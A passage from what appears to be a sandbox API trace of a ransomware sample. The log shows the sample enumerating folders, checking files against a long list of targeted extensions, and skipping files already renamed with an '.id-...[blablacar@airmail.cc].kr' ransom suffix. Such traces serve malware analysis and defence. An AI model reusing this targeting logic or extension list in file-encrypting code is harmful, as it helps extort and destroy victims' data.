lstrlenW (lpString=".md") returned 3 [0088.174] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0088.174] lstrlenW (lpString=".mda") returned 4 [0088.174] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".mdb") returned 4 [0088.174] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".mde") returned 4 [0088.174] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0088.174] lstrlenW (lpString=".mdf") returned 4 [0088.175] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mdw") returned 4 [0088.175] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mef") returned 4 [0088.175] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mft") returned 4 [0088.175] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mfw") returned 4 [0088.175] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mht") returned 4 [0088.175] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mhtml") returned 6 [0088.175] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0088.175] lstrlenW (lpString=".mka") returned 4 [0088.175] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mkidx") returned 6 [0088.175] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0088.175] lstrlenW (lpString=".mkv") returned 4 [0088.175] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mos") returned 4 [0088.175] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mov") returned 4 [0088.175] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mp3") returned 4 [0088.175] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0088.175] lstrlenW (lpString=".mp4") returned 4 [0088.175] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".mpeg") returned 5 [0088.176] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0088.176] lstrlenW (lpString=".mpg") returned 4 [0088.176] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".mpv") returned 4 [0088.176] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".mrw") returned 4 [0088.176] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".msg") returned 4 [0088.176] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".mxl") returned 4 [0088.176] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".myd") returned 4 [0088.176] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".myi") returned 4 [0088.176] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".nef") returned 4 [0088.176] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".nrw") returned 4 [0088.176] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".obj") returned 4 [0088.176] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".odb") returned 4 [0088.176] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0088.176] lstrlenW (lpString=".odc") returned 4 [0088.176] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".odm") returned 4 [0088.177] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".odp") returned 4 [0088.177] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".ods") returned 4 [0088.177] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".oft") returned 4 [0088.177] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".one") returned 4 [0088.177] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".onepkg") returned 7 [0088.177] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0088.177] lstrlenW (lpString=".onetoc2") returned 8 [0088.177] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0088.177] lstrlenW (lpString=".opt") returned 4 [0088.177] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".oqy") returned 4 [0088.177] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".orf") returned 4 [0088.177] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".p12") returned 4 [0088.177] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".p7b") returned 4 [0088.177] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0088.177] lstrlenW (lpString=".p7c") returned 4 [0088.177] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pam") returned 4 [0088.178] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pbm") returned 4 [0088.178] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pct") returned 4 [0088.178] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pcx") returned 4 [0088.178] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pdd") returned 4 [0088.178] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pdf") returned 4 [0088.178] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pdp") returned 4 [0088.178] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0088.178] lstrlenW (lpString=".pef") returned 4 [0088.179] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0088.179] lstrlenW (lpString=".pem") returned 4 [0088.179] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0088.179] lstrlenW (lpString=".pff") returned 4 [0088.179] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0088.179] lstrlenW (lpString=".pfm") returned 4 [0088.179] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0088.179] lstrlenW (lpString=".pfx") returned 4 [0088.179] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0088.179] lstrlenW (lpString=".pgm") returned 4 [0088.179] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0088.179] lstrlenW (lpString=".php") returned 4 [0088.179] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0088.179] lstrlenW (lpString=".php3") returned 5 [0088.179] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0088.179] lstrlenW (lpString=".php4") returned 5 [0088.179] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0088.179] lstrlenW (lpString=".php5") returned 5 [0088.179] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0088.179] lstrlenW (lpString=".phtml") returned 6 [0088.179] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0088.179] lstrlenW (lpString=".pict") returned 5 [0088.180] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0088.180] lstrlenW (lpString=".pl") returned 3 [0088.180] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0088.180] lstrlenW (lpString=".pls") returned 4 [0088.180] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0088.180] lstrlenW (lpString=".pm") returned 3 [0088.180] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0088.180] lstrlenW (lpString=".png") returned 4 [0088.180] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0088.180] lstrlenW (lpString=".pnm") returned 4 [0088.180] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0088.180] lstrlenW (lpString=".pot") returned 4 [0088.180] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0088.180] lstrlenW (lpString=".potm") returned 5 [0088.180] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0088.180] lstrlenW (lpString=".potx") returned 5 [0088.180] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0088.180] lstrlenW (lpString=".ppa") returned 4 [0088.180] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0088.180] lstrlenW (lpString=".ppam") returned 5 [0088.180] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0088.180] lstrlenW (lpString=".ppm") returned 4 [0088.180] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0088.180] lstrlenW (lpString=".pps") returned 4 [0088.180] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".ppsm") returned 5 [0088.181] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0088.181] lstrlenW (lpString=".ppt") returned 4 [0088.181] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".pptm") returned 5 [0088.181] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0088.181] lstrlenW (lpString=".pptx") returned 5 [0088.181] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0088.181] lstrlenW (lpString=".prn") returned 4 [0088.181] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".ps") returned 3 [0088.181] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0088.181] lstrlenW (lpString=".psb") returned 4 [0088.181] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".psd") returned 4 [0088.181] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".pst") returned 4 [0088.181] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".ptx") returned 4 [0088.181] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".pub") returned 4 [0088.181] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".pwm") returned 4 [0088.181] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0088.181] lstrlenW (lpString=".pxr") returned 4 [0088.182] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0088.182] lstrlenW (lpString=".py") returned 3 [0088.182] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0088.182] lstrlenW (lpString=".qt") returned 3 [0088.182] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0088.182] lstrlenW (lpString=".r3d") returned 4 [0088.182] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0088.182] lstrlenW (lpString=".raf") returned 4 [0088.182] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0088.182] lstrlenW (lpString=".rar") returned 4 [0088.182] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0088.182] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c4f11e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c4f11e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.282] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0088.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0088.283] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0088.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070") returned 26 [0088.283] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0088.283] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.283] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c9b6ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c9b6ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0088.283] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0088.283] lstrlenW (lpString=".1cd") returned 4 [0088.283] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0088.283] lstrlenW (lpString=".3ds") returned 4 [0088.283] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0088.283] lstrlenW (lpString=".3fr") returned 4 [0088.283] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0088.283] lstrlenW (lpString=".3g2") returned 4 [0088.283] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0088.283] lstrlenW (lpString=".3gp") returned 4 [0088.283] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0088.283] lstrlenW (lpString=".7z") returned 3 [0088.283] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0088.284] lstrlenW (lpString=".accda") returned 6 [0088.284] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0088.284] lstrlenW (lpString=".accdb") returned 6 [0088.284] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0088.284] lstrlenW (lpString=".accdc") returned 6 [0088.284] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0088.284] lstrlenW (lpString=".accde") returned 6 [0088.284] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0088.284] lstrlenW (lpString=".accdt") returned 6 [0088.284] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0088.284] lstrlenW (lpString=".accdw") returned 6 [0088.284] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0088.284] lstrlenW (lpString=".adb") returned 4 [0088.284] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0088.284] lstrlenW (lpString=".adp") returned 4 [0088.284] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0088.284] lstrlenW (lpString=".ai") returned 3 [0088.284] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0088.284] lstrlenW (lpString=".ai3") returned 4 [0088.284] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0088.284] lstrlenW (lpString=".ai4") returned 4 [0088.284] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0088.284] lstrlenW (lpString=".ai5") returned 4 [0088.284] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0088.284] lstrlenW (lpString=".ai6") returned 4 [0088.284] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".ai7") returned 4 [0088.285] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".ai8") returned 4 [0088.285] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".anim") returned 5 [0088.285] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0088.285] lstrlenW (lpString=".arw") returned 4 [0088.285] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".as") returned 3 [0088.285] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0088.285] lstrlenW (lpString=".asa") returned 4 [0088.285] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".asc") returned 4 [0088.285] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".ascx") returned 5 [0088.285] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0088.285] lstrlenW (lpString=".asm") returned 4 [0088.285] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".asmx") returned 5 [0088.285] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0088.285] lstrlenW (lpString=".asp") returned 4 [0088.285] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".aspx") returned 5 [0088.285] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0088.285] lstrlenW (lpString=".asr") returned 4 [0088.285] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0088.285] lstrlenW (lpString=".asx") returned 4 [0088.286] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".avi") returned 4 [0088.286] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".avs") returned 4 [0088.286] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".backup") returned 7 [0088.286] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0088.286] lstrlenW (lpString=".bak") returned 4 [0088.286] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".bay") returned 4 [0088.286] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".bd") returned 3 [0088.286] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0088.286] lstrlenW (lpString=".bin") returned 4 [0088.286] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".bmp") returned 4 [0088.286] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".bz2") returned 4 [0088.286] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".c") returned 2 [0088.286] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0088.286] lstrlenW (lpString=".cdr") returned 4 [0088.286] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".cer") returned 4 [0088.286] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0088.286] lstrlenW (lpString=".cf") returned 3 [0088.287] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0088.287] lstrlenW (lpString=".cfc") returned 4 [0088.287] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".cfm") returned 4 [0088.287] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".cfml") returned 5 [0088.287] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0088.287] lstrlenW (lpString=".cfu") returned 4 [0088.287] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".chm") returned 4 [0088.287] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".cin") returned 4 [0088.287] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".class") returned 6 [0088.287] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0088.287] lstrlenW (lpString=".clx") returned 4 [0088.287] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".config") returned 7 [0088.287] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0088.287] lstrlenW (lpString=".cpp") returned 4 [0088.287] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".cr2") returned 4 [0088.287] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0088.287] lstrlenW (lpString=".crt") returned 4 [0088.288] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0088.288] lstrlenW (lpString=".crw") returned 4 [0088.288] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0088.288] lstrlenW (lpString=".cs") returned 3 [0088.288] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0088.288] lstrlenW (lpString=".css") returned 4 [0088.288] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0088.288] lstrlenW (lpString=".csv") returned 4 [0088.288] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0088.288] lstrlenW (lpString=".cub") returned 4 [0088.288] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0088.288] lstrlenW (lpString=".dae") returned 4 [0088.288] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0088.288] lstrlenW (lpString=".dat") returned 4 [0088.289] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".db") returned 3 [0088.289] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0088.289] lstrlenW (lpString=".dbf") returned 4 [0088.289] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".dbx") returned 4 [0088.289] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".dc3") returned 4 [0088.289] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".dcm") returned 4 [0088.289] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".dcr") returned 4 [0088.289] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".der") returned 4 [0088.289] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".dib") returned 4 [0088.289] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".dic") returned 4 [0088.289] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".dif") returned 4 [0088.289] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0088.289] lstrlenW (lpString=".divx") returned 5 [0088.289] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0088.289] lstrlenW (lpString=".djvu") returned 5 [0088.289] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0088.289] lstrlenW (lpString=".dng") returned 4 [0088.289] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".doc") returned 4 [0088.290] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".docm") returned 5 [0088.290] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0088.290] lstrlenW (lpString=".docx") returned 5 [0088.290] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0088.290] lstrlenW (lpString=".dot") returned 4 [0088.290] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".dotm") returned 5 [0088.290] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0088.290] lstrlenW (lpString=".dotx") returned 5 [0088.290] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0088.290] lstrlenW (lpString=".dpx") returned 4 [0088.290] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".dqy") returned 4 [0088.290] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".dsn") returned 4 [0088.290] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".dt") returned 3 [0088.290] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0088.290] lstrlenW (lpString=".dtd") returned 4 [0088.290] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".dwg") returned 4 [0088.290] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".dwt") returned 4 [0088.290] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0088.290] lstrlenW (lpString=".dx") returned 3 [0088.291] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0088.291] lstrlenW (lpString=".dxf") returned 4 [0088.291] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".edml") returned 5 [0088.291] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0088.291] lstrlenW (lpString=".efd") returned 4 [0088.291] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".elf") returned 4 [0088.291] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".emf") returned 4 [0088.291] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0088.291] lstrlenW (lpString=".emz") returned 4 [0088.291] lstrcmpiW (lpString1=".emz", 